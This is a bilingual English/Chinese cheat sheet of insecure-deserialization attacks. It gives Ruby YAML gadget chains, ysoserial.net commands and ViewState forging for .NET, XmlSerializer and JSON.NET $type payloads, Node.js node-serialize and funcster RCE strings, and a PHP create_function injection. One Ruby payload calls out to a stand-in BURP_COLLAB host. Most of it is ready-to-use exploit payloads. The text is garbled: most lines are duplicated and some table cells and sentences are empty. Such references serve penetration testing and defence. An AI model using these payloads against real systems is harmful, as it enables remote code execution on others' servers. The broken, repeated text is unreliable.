Safe alternative: YAML.safe_load
Ruby <= 2.7.2: Gem::Requirement chain
Ruby <= 2.7.2: Gem::Requirement chain
--- !ruby/object:Gem::Requirement
requirements:
- !ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
uri: "| id"
--- !ruby/object:Gem::Requirement
requirements:
- !ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
uri: "| id"
Ruby 2.x-3.x: Gem::Installer chain (more complex)
Ruby 2.x-3.x: Gem::Installer chain (more complex)
Triggers: git_set → Kernel#system
Triggers: git_set → Kernel#system
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::Installer
i: x
(Full chain available in ysoserial-ruby / blind-ruby-deserialization)
(Full chain available in ysoserial-ruby / blind-ruby-deserialization)
Universal detection: supply YAML that triggers DNS callback
Universal detection: supply YAML that triggers DNS callback
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/
**Tools**: `elttam/ruby-deserialization`, `mbechler/ysoserial` (Ruby variant)
---
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/
**工具**:`elttam/ruby-deserialization`、`mbechler/ysoserial`(Ruby变体)
---
12. .NET DESERIALIZATION
12. .NET反序列化
| Magic Bytes | Format |
|---|
| (base64) / (hex) | BinaryFormatter |
| or (base64) | ViewState (ObjectStateFormatter) |
| (XML opening) | XmlSerializer / DataContractSerializer |
| JSON with key | JSON.NET (TypeNameHandling enabled) |
| 魔数 | 格式 |
|---|
| (base64) / (十六进制) | BinaryFormatter |
| 或 (base64) | ViewState(ObjectStateFormatter) |
| (XML开头) | XmlSerializer / DataContractSerializer |
| 带键的JSON | JSON.NET(TypeNameHandling启用) |
BinaryFormatter (most dangerous)
BinaryFormatter(最危险)
Always dangerous when deserializing untrusted data
Always dangerous when deserializing untrusted data
Tool: ysoserial.net
Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
ViewState (ASP.NET)
ViewState(ASP.NET)
If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
Leak machineKey from web.config (via LFI/backup) → forge ViewState
Leak machineKey from web.config (via LFI/backup) → forge ViewState
XmlSerializer + ObjectDataProvider
XmlSerializer + ObjectDataProvider
xml
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ObjectDataProvider MethodName="Start">
<ObjectInstance xsi:type="Process">
<StartInfo>
<FileName>cmd.exe</FileName>
<Arguments>/c whoami</Arguments>
</StartInfo>
</ObjectInstance>
</ObjectDataProvider>
</root>
xml
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ObjectDataProvider MethodName="Start">
<ObjectInstance xsi:type="Process">
<StartInfo>
<FileName>cmd.exe</FileName>
<Arguments>/c whoami</Arguments>
</StartInfo>
</ObjectInstance>
</ObjectDataProvider>
</root>
JSON.NET ($type abuse)
JSON.NET($type滥用)
json
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System",
"StartInfo": {
"$type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd.exe",
"Arguments": "/c whoami"
}
}
}
Vulnerable when
in JSON deserialization settings.
json
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System",
"StartInfo": {
"$type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd.exe",
"Arguments": "/c whoami"
}
}
}
- — primary .NET gadget chain generator
- — decrypt/forge ViewState with known machineKey
- — 主流.NET gadget链生成器
- — 使用已知machineKey解密/伪造ViewState
13. NODE.JS DESERIALIZATION
13. NODE.JS反序列化
node-serialize (IIFE injection)
node-serialize(IIFE注入)
javascript
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);
// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
// Key: the () at the end causes immediate execution upon deserialization
javascript
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);
// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
// Key: the () at the end causes immediate execution upon deserialization
javascript
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
javascript
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
PHP create_function + Deserialization Combo
PHP create_function + 反序列化组合利用
php
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest
// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}
php
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest
// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}